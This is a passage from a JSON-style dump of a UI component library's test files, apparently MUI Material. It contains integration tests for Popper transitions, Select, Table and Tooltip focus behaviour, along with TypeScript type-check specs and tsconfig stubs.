[Fade, 'Fade'],\n      [Grow, 'Grow'],\n      [Slide, 'Slide'],\n      [Zoom, 'Zoom'],\n    ].forEach(([TransitionComponent, name]) => {\n      describe(`in TransitionComponent ${name}`, () => {\n        it('autoFocus does not scroll', () => {\n          const handleFocus = spy();\n          const { setProps } = render(\n            <BottomAnchoredPopper open={false} transition>\n              {({ TransitionProps }) => {\n                return (\n                  <TransitionComponent {...TransitionProps}>\n                    <div>\n                      <button autoFocus onFocus={handleFocus}>\n                        will be focused\n                      </button>\n                    </div>\n                  </TransitionComponent>\n                );\n              }}\n            </BottomAnchoredPopper>,\n          );\n          expect(handleFocus.callCount).to.equal(0);\n          const scrollYBeforeOpen = window.scrollY;\n\n          setProps({ open: true });\n\n          expect(handleFocus.callCount).to.equal(1);\n          expect(window.scrollY, 'focus caused scroll').to.equal(scrollYBeforeOpen);\n        });\n\n        it('focus during layout effect does not scroll', () => {\n          const handleFocus = spy();\n          function LayoutEffectFocusButton(props) {\n            const buttonRef = React.useRef(null);\n            React.useLayoutEffect(() => {\n              buttonRef.current.focus();\n            }, []);\n            return <button {...props} ref={buttonRef} />;\n          }\n          const { setProps } = render(\n            <BottomAnchoredPopper open={false} transition>\n              {({ TransitionProps }) => {\n                return (\n                  <TransitionComponent {...TransitionProps}>\n                    <div>\n                      <LayoutEffectFocusButton onFocus={handleFocus}>\n                        will be focused\n                      </LayoutEffectFocusButton>\n                    </div>\n                  </TransitionComponent>\n                );\n              }}\n            </BottomAnchoredPopper>,\n          );\n          expect(handleFocus.callCount).to.equal(0);\n          const scrollYBeforeOpen = window.scrollY;\n\n          setProps({ open: true });\n\n          expect(handleFocus.callCount).to.equal(1);\n          expect(window.scrollY, 'focus caused scroll').to.equal(scrollYBeforeOpen);\n        });\n\n        it('focus during passive effects do not scroll', () => {\n          const handleFocus = spy();\n          function EffectFocusButton(props) {\n            const buttonRef = React.useRef(null);\n            React.useEffect(() => {\n              buttonRef.current.focus();\n            }, []);\n            return <button {...props} ref={buttonRef} />;\n          }\n          const { setProps } = render(\n            <BottomAnchoredPopper open={false} transition>\n              {({ TransitionProps }) => {\n                return (\n                  <TransitionComponent timeout={0} {...TransitionProps}>\n                    <div>\n                      <EffectFocusButton onFocus={handleFocus}>will be focused</EffectFocusButton>\n                    </div>\n                  </TransitionComponent>\n                );\n              }}\n            </BottomAnchoredPopper>,\n          );\n          expect(handleFocus.callCount).to.equal(0);\n          const scrollYBeforeOpen = window.scrollY;\n\n          setProps({ open: true });\n\n          expect(handleFocus.callCount).to.equal(1);\n          expect(window.scrollY, 'focus caused scroll').to.equal(scrollYBeforeOpen);\n        });\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/test/integration/Select.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { act, createRenderer, fireEvent, screen } from '@mui/internal-test-utils';\nimport MenuItem from '@mui/material/MenuItem';\nimport Select from '@mui/material/Select';\nimport Dialog from '@mui/material/Dialog';\nimport FormControl from '@mui/material/FormControl';\nimport InputLabel from '@mui/material/InputLabel';\n\ndescribe('<Select> integration', () => {\n  const { clock, render } = createRenderer({ clock: 'fake' });\n\n  describe('with Dialog', () => {\n    function SelectAndDialog() {\n      const [value, setValue] = React.useState(10);\n      const handleChange = (event) => {\n        setValue(Number(event.target.value));\n      };\n\n      return (\n        <Dialog open>\n          <Select\n            MenuProps={{\n              transitionDuration: 0,\n              slotProps: { backdrop: { 'data-testid': 'select-backdrop' } },\n            }}\n            value={value}\n            onChange={handleChange}\n          >\n            <MenuItem value=\"\">\n              <em>None</em>\n            </MenuItem>\n            <MenuItem value={10}>Ten</MenuItem>\n            <MenuItem value={20}>Twenty</MenuItem>\n            <MenuItem value={30}>Thirty</MenuItem>\n          </Select>\n        </Dialog>\n      );\n    }\n\n    it('should focus the selected item', async () => {\n      render(<SelectAndDialog />);\n\n      const trigger = screen.getByRole('combobox');\n      // Let's open the select component\n      // in the browser user click also focuses\n      fireEvent.mouseDown(trigger);\n\n      const options = screen.getAllByRole('option');\n      expect(options[1]).toHaveFocus();\n\n      // Now, let's close the select component\n      await act(async () => {\n        screen.getByTestId('select-backdrop').click();\n      });\n      clock.tick(0);\n\n      expect(screen.queryByRole('listbox')).to.equal(null);\n      expect(trigger).toHaveFocus();\n    });\n\n    it('should be able to change the selected item', async () => {\n      render(<SelectAndDialog />);\n\n      const trigger = screen.getByRole('combobox');\n      expect(trigger).toHaveAccessibleName('');\n      // Let's open the select component\n      // in the browser user click also focuses\n      fireEvent.mouseDown(trigger);\n\n      const options = screen.getAllByRole('option');\n      expect(options[1]).toHaveFocus();\n\n      // Now, let's close the select component\n      await act(async () => {\n        options[2].click();\n      });\n      clock.tick(0);\n\n      expect(screen.queryByRole('listbox')).to.equal(null);\n      expect(trigger).toHaveFocus();\n      expect(trigger).to.have.text('Twenty');\n    });\n  });\n\n  describe('with label', () => {\n    it('requires `id` and `labelId` for a proper accessible name', () => {\n      render(\n        <FormControl>\n          <InputLabel id=\"label\">Age</InputLabel>\n          <Select id=\"input\" labelId=\"label\" value=\"10\">\n            <MenuItem value=\"\">none</MenuItem>\n            <MenuItem value=\"10\">Ten</MenuItem>\n          </Select>\n        </FormControl>,\n      );\n\n      expect(screen.getByRole('combobox')).toHaveAccessibleName('Age');\n    });\n\n    // we're somewhat abusing \"focus\" here. What we're actually interested in is\n    // displaying it as \"active\". WAI-ARIA authoring practices do not consider the\n    // the trigger part of the widget while a native <select /> will outline the trigger\n    // as well\n    it('is displayed as focused while open', async () => {\n      render(\n        <FormControl>\n          <InputLabel classes={{ focused: 'focused-label' }} data-testid=\"label\">\n            Age\n          </InputLabel>\n          <Select\n            MenuProps={{\n              transitionDuration: 0,\n            }}\n            value=\"\"\n          >\n            <MenuItem value=\"\">none</MenuItem>\n            <MenuItem value={10}>Ten</MenuItem>\n          </Select>\n        </FormControl>,\n      );\n\n      const trigger = screen.getByRole('combobox');\n      await act(async () => {\n        trigger.focus();\n      });\n      fireEvent.keyDown(trigger, { key: 'Enter' });\n      clock.tick(0);\n\n      expect(screen.getByTestId('label')).to.have.class('focused-label');\n    });\n\n    it('does not stays in an active state if an open action did not actually open', async () => {\n      // test for https://github.com/mui/material-ui/issues/17294\n      // we used to set a flag to stop blur propagation when we wanted to open the\n      // select but never considered what happened if the select never opened\n      const { container } = render(\n        <FormControl>\n          <InputLabel classes={{ focused: 'focused-label' }} htmlFor=\"age-simple\">\n            Age\n          </InputLabel>\n          <Select inputProps={{ id: 'age' }} open={false} value=\"\">\n            <MenuItem value=\"\">none</MenuItem>\n            <MenuItem value={10}>Ten</MenuItem>\n          </Select>\n        </FormControl>,\n      );\n      const trigger = screen.getByRole('combobox');\n\n      await act(async () => {\n        trigger.focus();\n      });\n\n      expect(container.querySelector('[for=\"age-simple\"]')).to.have.class('focused-label');\n\n      fireEvent.keyDown(trigger, { key: 'Enter' });\n\n      expect(container.querySelector('[for=\"age-simple\"]')).to.have.class('focused-label');\n\n      await act(async () => {\n        trigger.blur();\n      });\n\n      expect(container.querySelector('[for=\"age-simple\"]')).not.to.have.class('focused-label');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/test/integration/Table.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport Table from '@mui/material/Table';\nimport TableHead from '@mui/material/TableHead';\nimport TableBody from '@mui/material/TableBody';\nimport TableRow from '@mui/material/TableRow';\nimport TableFooter from '@mui/material/TableFooter';\nimport TableCell, { tableCellClasses } from '@mui/material/TableCell';\n\ndescribe('Table integration', () => {\n  const { render } = createRenderer();\n\n  it('should apply Table section and layout context to TableCell', () => {\n    render(\n      <Table padding=\"none\" size=\"small\" stickyHeader>\n        <TableHead>\n          <TableRow>\n            <TableCell data-testid=\"head\">Head</TableCell>\n          </TableRow>\n        </TableHead>\n        <TableBody>\n          <TableRow>\n            <TableCell data-testid=\"cell\">Cell</TableCell>\n          </TableRow>\n        </TableBody>\n        <TableFooter>\n          <TableRow>\n            <TableCell data-testid=\"footer\">Footer</TableCell>\n          </TableRow>\n        </TableFooter>\n      </Table>,\n    );\n\n    expect(screen.getByTestId('head')).to.have.class(tableCellClasses.stickyHeader);\n    expect(screen.getByTestId('head')).to.have.class(tableCellClasses.paddingNone);\n    expect(screen.getByTestId('head')).to.have.class(tableCellClasses.sizeSmall);\n\n    expect(screen.getByTestId('cell')).to.have.class(tableCellClasses.paddingNone);\n    expect(screen.getByTestId('cell')).to.have.class(tableCellClasses.sizeSmall);\n    expect(screen.getByTestId('cell')).not.to.have.class(tableCellClasses.stickyHeader);\n\n    expect(screen.getByTestId('footer')).to.have.class(tableCellClasses.footer);\n    expect(screen.getByTestId('footer')).not.to.have.class(tableCellClasses.head);\n    expect(screen.getByTestId('footer')).not.to.have.class(tableCellClasses.body);\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/test/integration/TableCell.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport TableCell, { tableCellClasses as classes } from '@mui/material/TableCell';\nimport Table from '@mui/material/Table';\nimport TableFooter from '@mui/material/TableFooter';\nimport TableHead from '@mui/material/TableHead';\nimport TableRow from '@mui/material/TableRow';\nimport TableBody from '@mui/material/TableBody';\n\ndescribe('<TableRow> integration', () => {\n  const { render } = createRenderer();\n  function renderInTable(node, Variant) {\n    return render(\n      <Table>\n        <Variant>\n          <TableRow>{node}</TableRow>\n        </Variant>\n      </Table>,\n    );\n  }\n\n  it('should render a th with the head class when in the context of a table head', () => {\n    renderInTable(<TableCell data-testid=\"cell\" />, TableHead);\n    expect(screen.getByTestId('cell')).to.have.tagName('th');\n    expect(screen.getByTestId('cell')).to.have.class(classes.root);\n    expect(screen.getByTestId('cell')).to.have.class(classes.head);\n    expect(screen.getByTestId('cell')).to.have.attribute('scope', 'col');\n  });\n\n  it('should render specified scope attribute even when in the context of a table head', () => {\n    renderInTable(<TableCell scope=\"row\" data-testid=\"cell\" />, TableHead);\n    expect(screen.getByTestId('cell')).to.have.attribute('scope', 'row');\n  });\n\n  it('should render a td with the footer class when in the context of a table footer', () => {\n    renderInTable(<TableCell data-testid=\"cell\" />, TableFooter);\n    expect(screen.getByTestId('cell')).to.have.tagName('td');\n    expect(screen.getByTestId('cell')).to.have.class(classes.root);\n    expect(screen.getByTestId('cell')).to.have.class(classes.footer);\n  });\n\n  it('should render with the footer class when in the context of a table footer', () => {\n    renderInTable(<TableCell data-testid=\"cell\" />, TableFooter);\n    expect(screen.getByTestId('cell')).to.have.class(classes.root);\n    expect(screen.getByTestId('cell')).to.have.class(classes.footer);\n  });\n\n  it('should render with the head class when variant is head, overriding context', () => {\n    renderInTable(<TableCell variant=\"head\" data-testid=\"cell\" />, TableFooter);\n    expect(screen.getByTestId('cell')).to.have.class(classes.head);\n    expect(screen.getByTestId('cell')).not.to.have.attribute('scope');\n  });\n\n  it('should render without head class when variant is body, overriding context', () => {\n    renderInTable(<TableCell variant=\"body\" data-testid=\"cell\" />, TableFooter);\n    expect(screen.getByTestId('cell')).not.to.have.class(classes.head);\n  });\n\n  it('should render without footer class when variant is body, overriding context', () => {\n    renderInTable(<TableCell variant=\"body\" data-testid=\"cell\" />, TableFooter);\n    expect(screen.getByTestId('cell')).not.to.have.class(classes.footer);\n  });\n\n  it('should render with the footer class when variant is footer, overriding context', () => {\n    renderInTable(<TableCell variant=\"footer\" data-testid=\"cell\" />, TableHead);\n\n    expect(screen.getByTestId('cell')).to.have.class(classes.footer);\n  });\n\n  it('does not set `role` when `component` prop is set and used in the context of table head', () => {\n    render(\n      <TableHead component=\"div\">\n        <TableCell component=\"div\" data-testid=\"cell\" />,\n      </TableHead>,\n    );\n\n    expect(screen.getByTestId('cell')).not.to.have.attribute('role');\n  });\n\n  it('does not set `role` when `component` prop is set and used in the context of table body', () => {\n    render(\n      <TableBody component=\"div\">\n        <TableCell component=\"div\" data-testid=\"cell\" />,\n      </TableBody>,\n    );\n\n    expect(screen.getByTestId('cell')).not.to.have.attribute('role');\n  });\n\n  it('does not set `role` when `component` prop is set and used in the context of table footer', () => {\n    render(\n      <TableFooter component=\"div\">\n        <TableCell component=\"div\" data-testid=\"cell\" />,\n      </TableFooter>,\n    );\n\n    expect(screen.getByTestId('cell')).not.to.have.attribute('role');\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/test/integration/TableRow.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport TableFooter from '@mui/material/TableFooter';\nimport TableHead from '@mui/material/TableHead';\nimport TableRow, { tableRowClasses as classes } from '@mui/material/TableRow';\n\ndescribe('<TableRow> integration', () => {\n  const { render } = createRenderer();\n\n  it('should render with the head class when in the context of a table head', () => {\n    render(\n      <table>\n        <TableHead>\n          <TableRow />\n        </TableHead>\n      </table>,\n    );\n\n    expect(screen.getByRole('row')).to.have.class(classes.root);\n    expect(screen.getByRole('row')).to.have.class(classes.head);\n  });\n\n  it('should render with the footer class when in the context of a table footer', () => {\n    render(\n      <table>\n        <TableFooter>\n          <TableRow />\n        </TableFooter>\n      </table>,\n    );\n\n    expect(screen.getByRole('row')).to.have.class(classes.root);\n    expect(screen.getByRole('row')).to.have.class(classes.footer);\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/test/integration/Tooltip.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, screen, isJsdom, act, fireEvent } from '@mui/internal-test-utils';\nimport Tooltip from '@mui/material/Tooltip';\nimport Input from '@mui/material/Input';\n\nfunction focusVisibleSync(element) {\n  act(() => {\n    element.blur();\n  });\n  fireEvent.keyDown(document.body, { key: 'Tab' });\n  act(() => {\n    element.focus();\n  });\n}\n\ndescribe('<Tooltip> integration', () => {\n  const { render } = createRenderer();\n\n  it.skipIf(isJsdom())(\n    'does not throw error and closes Tooltip when Input becomes disabled while focused',\n    () => {\n      function TestCase({ disabled }) {\n        return (\n          <Tooltip\n            title=\"Test\"\n            enterDelay={0}\n            leaveDelay={0}\n            slotProps={{ transition: { timeout: 0 } }}\n          >\n            <Input disabled={disabled} placeholder=\"click here and wait\" />\n          </Tooltip>\n        );\n      }\n\n      const { setProps } = render(<TestCase disabled={false} />);\n\n      const input = screen.getByRole('textbox');\n\n      focusVisibleSync(input);\n\n      expect(screen.getByRole('tooltip')).toBeVisible();\n\n      expect(() => {\n        setProps({ disabled: true });\n      }).not.to.throw();\n\n      expect(screen.getByRole('tooltip')).not.toBeVisible();\n    },\n  );\n});\n"
  },
  {
    "path": "packages/mui-material/test/ripple.ts",
    "content": "import { act, fireEvent } from '@mui/internal-test-utils';\n\nfunction delay(ms: number) {\n  return new Promise((r) => {\n    setTimeout(r, ms);\n  });\n}\n\nexport async function asyncFireEvent(node: Element, event: keyof typeof fireEvent, options?: any) {\n  await act(async () => {\n    fireEvent[event](node, options);\n    await delay(1);\n  });\n}\n\nexport function startTouch(node: Element, options?: any) {\n  return asyncFireEvent(node, 'mouseDown', options);\n}\n\nexport async function stopTouch(node: Element) {\n  return asyncFireEvent(node, 'mouseUp');\n}\n\nexport async function startFocus(node: HTMLElement) {\n  await act(async () => {\n    node.blur();\n    fireEvent.keyDown(document.body, { key: 'Tab' });\n    node.focus();\n    await delay(1);\n  });\n}\n\nexport async function stopFocus(node: HTMLElement) {\n  await act(async () => {\n    node.blur();\n    await delay(1);\n  });\n}\n"
  },
  {
    "path": "packages/mui-material/test/typescript/OverridableComponent.spec.tsx",
    "content": "import * as React from 'react';\nimport { expectType } from '@mui/types';\nimport { OverridableComponent, OverrideProps } from '@mui/material/OverridableComponent';\n\ninterface MyOverrideProps {\n  className: string;\n  myString?: string;\n  myCallback?(n: number): void;\n}\ndeclare const MyOverrideComponent: React.ComponentType<MyOverrideProps>;\nclass MyOverrideClassComponent extends React.Component<MyOverrideProps> {\n  render() {\n    return null;\n  }\n}\nconst MyOverrideRefForwardingComponent = React.forwardRef<HTMLLegendElement>((props, ref) => (\n  <div ref={ref} />\n));\ndeclare const MyIncompatibleComponent1: React.ComponentType<{ inconsistentProp?: number }>;\n\ndeclare const Foo: OverridableComponent<{\n  props: {\n    numberProp: number;\n    callbackProp?(b: boolean): void;\n    inconsistentProp?: string;\n  };\n  defaultComponent: React.ComponentType<{\n    defaultProp?: boolean;\n    defaultCallbackProp?(s: string): void;\n  }>;\n  classKey: 'root' | 'foo' | 'bar';\n}>;\n\n// Can provide basic props; callback parameter types will be inferred.\n<Foo\n  numberProp={3}\n  className=\"foo\"\n  style={{ backgroundColor: 'red' }}\n  classes={{ root: 'x', foo: 'y' }}\n  callbackProp={(b) => console.log(b)}\n/>;\n\n// Can pass props unique to the default component type; callback parameter types\n// will be inferred.\n<Foo numberProp={3} defaultProp defaultCallbackProp={(s) => console.log(s)} />;\n\n// Can override the component and pass props unique to it; props of the override\n// component that are provided from the wrapping component (\"inner props\") do\n// not need to be specified.\n<Foo component={MyOverrideComponent} myString=\"hello\" numberProp={3} />;\n\n// Can pass a callback prop with an override component; callback parameter must\n// be explicitly specified.\n<Foo component={MyOverrideComponent} myCallback={(n: number) => console.log(n)} numberProp={3} />;\n\n// Can pass overriding component type as a parameter and callback parameters\n// will be inferred.\n<Foo<typeof MyOverrideComponent>\n  component={MyOverrideComponent}\n  myCallback={(n) => console.log(n)}\n  numberProp={3}\n/>;\n\n// Can provide a primitive override and an event handler with explicit type.\n<Foo\n  component=\"button\"\n  numberProp={3}\n  onClick={(event: React.MouseEvent<HTMLButtonElement>) => event.currentTarget.checkValidity()}\n/>;\n\n// Can get inferred type for events by providing a component type parameter.\n<Foo<'button'>\n  numberProp={3}\n  component=\"button\"\n  ref={(elem) => {\n    expectType<HTMLButtonElement | null, typeof elem>(elem);\n  }}\n  onClick={(event) => {\n    expectType<React.MouseEvent<HTMLButtonElement, MouseEvent>, typeof event>(event);\n    event.currentTarget.checkValidity();\n  }}\n/>;\n\n// Can use refs if the override is a class component\n<Foo<typeof MyOverrideClassComponent>\n  numberProp={3}\n  component={MyOverrideClassComponent}\n  ref={(elem) => {\n    expectType<MyOverrideClassComponent | null, typeof elem>(elem);\n  }}\n/>;\n\n// ... or with ref-forwarding components\n<Foo<typeof MyOverrideRefForwardingComponent>\n  numberProp={42}\n  component={MyOverrideRefForwardingComponent}\n  ref={(elem) => {\n    expectType<HTMLLegendElement | null, typeof elem>(elem);\n  }}\n/>;\n\n// ... but for an arbitrary ComponentType\n// @ts-expect-error\n<Foo<typeof MyOverrideComponent> component={MyOverrideComponent} ref={() => {}} />;\n\n// @ts-expect-error\n<Foo\n  numberProp={3}\n  bad=\"hi\" // invalid prop\n/>;\n\n// @ts-expect-error\n<Foo\n  component={MyOverrideComponent}\n  myString={4} // should be a string\n  numberProp={3}\n/>;\n\n<Foo\n  component={MyOverrideComponent}\n  myCallback={(n) => {\n    expectType<number, typeof n>(n);\n  }}\n  numberProp={3}\n/>;\n\n<Foo<typeof MyOverrideComponent>\n  component={MyOverrideComponent}\n  // @ts-expect-error\n  myString={4} // should be a string\n  myCallback={(n) => {\n    expectType<number, typeof n>(n);\n  }}\n  numberProp={3}\n/>;\n\n// inconsistent typing of base vs override prop\n// but the assumption is that `Foo` intercepts `inconsistentProp` and doesn't forward it\n<Foo\n  component={MyIncompatibleComponent1} // inconsistent typing of base vs override prop\n  numberProp={3}\n  inconsistentProp=\"hi\"\n/>;\n\n<Foo<'div'>\n  component=\"div\"\n  numberProp={3}\n  // event type doesn't match component type\n  // @ts-expect-error\n  onClick={(event: React.MouseEvent<HTMLButtonElement>) => event.currentTarget.checkValidity()}\n/>;\n\n// Typical polymorphic component from @mui/material\ninterface BarTypeMap<P = {}, D extends React.ElementType = 'span'> {\n  props: P & {\n    numberProp: number;\n    callbackProp?(b: boolean): void;\n  };\n  defaultComponent: D;\n}\n\ndeclare const Bar: OverridableComponent<BarTypeMap>;\n\ntype BarProps<D extends React.ElementType = BarTypeMap['defaultComponent'], P = {}> = OverrideProps<\n  BarTypeMap<P, D>,\n  D\n>;\n\nconst Header = React.forwardRef<HTMLElement, BarProps>((props, ref) => (\n  <Bar ref={ref} component=\"header\" {...props} />\n));\n"
  },
  {
    "path": "packages/mui-material/test/typescript/color-palette-prop.spec.tsx",
    "content": "import * as React from 'react';\nimport {\n  Badge,\n  Button,\n  Checkbox,\n  Chip,\n  CircularProgress,\n  FormControl,\n  FormLabel,\n  FilledInput,\n  OutlinedInput,\n  IconButton,\n  Input,\n  InputLabel,\n  LinearProgress,\n  Radio,\n  TextField,\n  SvgIcon,\n  Switch,\n} from '@mui/material';\n\nfunction TestBaseColorPaletteProp() {\n  const baseColorPalette = ['primary', 'secondary', 'error', 'info', 'success', 'warning'] as const;\n  return (\n    <div>\n      {baseColorPalette.map((color) => (\n        <div key={color}>\n          <Badge color={color} />\n          <Button color={color} />\n          <Checkbox color={color} />\n          <Chip color={color} />\n          <CircularProgress color={color} />\n          <FormControl color={color} />\n          <FilledInput color={color} />\n          <FormLabel color={color} />\n          <OutlinedInput color={color} />\n          <IconButton color={color} />\n          <Input color={color} />\n          <InputLabel color={color} />\n          <LinearProgress color={color} />\n          <TextField color={color} />\n          <Radio color={color} />\n          <SvgIcon color={color} />\n          <Switch color={color} />\n        </div>\n      ))}\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/mui-material/test/typescript/colors.spec.ts",
    "content": "import { colors, Color } from '@mui/material';\n\nconst {\n  amber,\n  blue,\n  blueGrey,\n  brown,\n  cyan,\n  deepOrange,\n  deepPurple,\n  green,\n  grey,\n  indigo,\n  lightBlue,\n  lightGreen,\n  lime,\n  orange,\n  pink,\n  purple,\n  red,\n  teal,\n  yellow,\n  common,\n} = colors;\n\nconst colorList: Color[] = [\n  amber,\n  blue,\n  blueGrey,\n  brown,\n  cyan,\n  deepOrange,\n  deepPurple,\n  green,\n  grey,\n  indigo,\n  lightBlue,\n  lightGreen,\n  lime,\n  orange,\n  pink,\n  purple,\n  red,\n  teal,\n  yellow,\n];\n\nconst { black, white } = common;\n\n[black, white].forEach((color: string) => color);\n"
  },
  {
    "path": "packages/mui-material/test/typescript/index.spec.tsx",
    "content": "import * as React from 'react';\nimport Dialog from '@mui/material/Dialog';\nimport DialogTitle from '@mui/material/DialogTitle';\nimport DialogContent from '@mui/material/DialogContent';\nimport DialogContentText from '@mui/material/DialogContentText';\n\nfunction TestStandardPropsCallbackRefUsage() {\n  const contentRef = React.useRef<HTMLDivElement>(null);\n\n  const setContentRef = React.useCallback((node: HTMLDivElement | null) => {\n    contentRef.current = node;\n    // ...\n  }, []);\n\n  return (\n    <Dialog open>\n      <DialogTitle>Dialog Demo</DialogTitle>\n      <DialogContent ref={setContentRef}>\n        <DialogContentText>Dialog content</DialogContentText>\n      </DialogContent>\n    </Dialog>\n  );\n}\n\nfunction TestStandardPropsObjectRefUsage() {\n  const contentRef = React.useRef<HTMLDivElement>(null);\n\n  return (\n    <Dialog open>\n      <DialogTitle>Dialog Demo</DialogTitle>\n      <DialogContent ref={contentRef}>\n        <DialogContentText>Dialog content</DialogContentText>\n      </DialogContent>\n    </Dialog>\n  );\n}\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/InputLabelCustomProps.spec.tsx",
    "content": "import * as React from 'react';\nimport InputLabel from '@mui/material/InputLabel';\n\ndeclare module '@mui/material/InputLabel' {\n  interface InputLabelPropsSizeOverrides {\n    customSize: true;\n  }\n}\n\n<InputLabel size=\"customSize\" />;\n\n// @ts-expect-error unknown size\n<InputLabel size=\"foo\" />;\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/InputLabelCustomProps.tsconfig.json",
    "content": "{\n  \"extends\": \"../../../../../tsconfig.json\",\n  \"files\": [\"InputLabelCustomProps.spec.tsx\"]\n}\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/TooltipSlotSxProps.spec.tsx",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Tooltip from '@mui/material/Tooltip';\nimport { PaletteColor } from '@mui/material/styles';\n\ndeclare module '@mui/material/styles' {\n  interface Palette {\n    custom: PaletteColor;\n  }\n}\n\n// Tooltip slotProps should only allow valid theme palettes to be accessed\n\n<Tooltip\n  title=\"tooltip\"\n  slotProps={{\n    tooltip: {\n      sx: {\n        color: (theme) => theme.palette.custom.main,\n        // @ts-expect-error Property 'invalid' does not exist on 'Palette'\n        backgroundColor: (theme) => theme.palette.invalid.main,\n      },\n    },\n    arrow: {\n      sx: {\n        color: (theme) => theme.palette.custom.main,\n        // @ts-expect-error Property 'invalid' does not exist on 'Palette'\n        backgroundColor: (theme) => theme.palette.invalid.main,\n      },\n    },\n  }}\n>\n  <Button>Hover Me!</Button>\n</Tooltip>;\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/TooltipSlotSxProps.tsconfig.json",
    "content": "{\n  \"extends\": \"../../../../../tsconfig.json\",\n  \"files\": [\"TooltipSlotSxProps.spec.tsx\"]\n}\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/alertCustomSlotProps.spec.tsx",
    "content": "import * as React from 'react';\nimport Alert from '@mui/material/Alert';\nimport { IconButton, IconButtonProps, svgIconClasses } from '@mui/material';\n\ndeclare module '@mui/material/Alert' {\n  interface AlertCloseButtonSlotPropsOverrides {\n    iconSize: 'small' | 'medium';\n  }\n}\n\ntype MyIconButtonProps = IconButtonProps<\n  'button',\n  {\n    iconSize?: 'small' | 'medium';\n  }\n>;\n\nconst MyIconButton = ({ iconSize, ...other }: MyIconButtonProps) => {\n  return (\n    <IconButton\n      {...other}\n      sx={{\n        // whatever customization based on iconSize\n        [`.${svgIconClasses.root}`]: {\n          fontSize: iconSize === 'small' ? '1rem' : '1.5rem',\n        },\n      }}\n    />\n  );\n};\n\n<Alert\n  severity=\"success\"\n  slots={{\n    closeButton: MyIconButton,\n  }}\n  slotProps={{\n    closeButton: {\n      iconSize: 'medium',\n    },\n  }}\n>\n  Here is a gentle confirmation that your action was successful.\n</Alert>;\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/alertCustomSlotProps.tsconfig.json",
    "content": "{\n  \"extends\": \"../../../../../tsconfig.json\",\n  \"files\": [\"alertCustomSlotProps.spec.tsx\"]\n}\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/appBarProps.spec.tsx",
    "content": "import * as React from 'react';\nimport { AppBar } from '@mui/material';\n\ndeclare module '@mui/material/AppBar' {\n  interface AppBarPropsColorOverrides {\n    customAppBarColor: true;\n  }\n}\n\n<AppBar color=\"customAppBarColor\" />;\n\n// @ts-expect-error unknown color\n<AppBar color=\"foo\" />;\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/appBarProps.tsconfig.json",
    "content": "{\n  \"extends\": \"../../../../../tsconfig.json\",\n  \"files\": [\"appBarProps.spec.tsx\"]\n}\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/autocompleteCustomSlotProps.spec.tsx",
    "content": "import * as React from 'react';\nimport Autocomplete from '@mui/material/Autocomplete';\nimport Button from '@mui/material/Button';\nimport Paper, { PaperProps } from '@mui/material/Paper';\nimport Popper, { PopperProps } from '@mui/material/Popper';\nimport TextField from '@mui/material/TextField';\n\ndeclare module '@mui/material/Autocomplete' {\n  interface AutocompletePaperSlotPropsOverrides {\n    value: Option[];\n  }\n  interface AutocompletePopperSlotPropsOverrides {\n    value: Option[];\n  }\n}\n\nfunction CustomPaper({ children, value, ...paperProps }: PaperProps & { value: Option[] }) {\n  return (\n    <Paper {...paperProps} onMouseDown={(event) => event.preventDefault()}>\n      {children}\n      <Button disabled={value.length === 0}>Next</Button>\n    </Paper>\n  );\n}\n\nfunction CustomPopper({ children, value, ...popperProps }: PopperProps & { value: Option[] }) {\n  return (\n    <Popper {...popperProps}>\n      {children as React.ReactNode}\n      <Button disabled={value.length === 0}>Next</Button>\n    </Popper>\n  );\n}\n\ninterface Option {\n  title: string;\n  year: number;\n}\n\nfunction App() {\n  const [value, setValue] = React.useState<Option[]>([]);\n\n  return (\n    <React.Fragment>\n      {/* Testing Paper slot */}\n      <Autocomplete\n        multiple\n        isOptionEqualToValue={(option, valueParam) => option.title === valueParam.title}\n        renderInput={(params) => <TextField {...params} placeholder=\"Select\" />}\n        onChange={(event, newValue) => {\n          setValue(newValue);\n        }}\n        getOptionLabel={(option) => `(${option?.year}) ${option?.title}`}\n        options={[...topFilms]}\n        value={value}\n        slots={{ paper: CustomPaper }}\n        slotProps={{ paper: { value } }}\n      />\n      {/* Testing Popper slot */}\n      <Autocomplete\n        multiple\n        isOptionEqualToValue={(option, valueParam) => option.title === valueParam.title}\n        renderInput={(params) => <TextField {...params} placeholder=\"Select\" />}\n        onChange={(event, newValue) => {\n          setValue(newValue);\n        }}\n        getOptionLabel={(option) => `(${option?.year}) ${option?.title}`}\n        options={[...topFilms]}\n        value={value}\n        slots={{ popper: CustomPopper }}\n        slotProps={{ popper: { value } }}\n      />\n    </React.Fragment>\n  );\n}\n\nconst topFilms = [\n  { title: 'The Shawshank Redemption', year: 1994 },\n  { title: 'The Godfather', year: 1972 },\n  { title: 'The Godfather: Part II', year: 1974 },\n  { title: 'The Dark Knight', year: 2008 },\n  { title: '12 Angry Men', year: 1957 },\n  { title: \"Schindler's List\", year: 1993 },\n  { title: 'Pulp Fiction', year: 1994 },\n];\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/autocompleteCustomSlotProps.tsconfig.json",
    "content": "{\n  \"extends\": \"../../../../../tsconfig.json\",\n  \"files\": [\"autocompleteCustomSlotProps.spec.tsx\"]\n}\n"
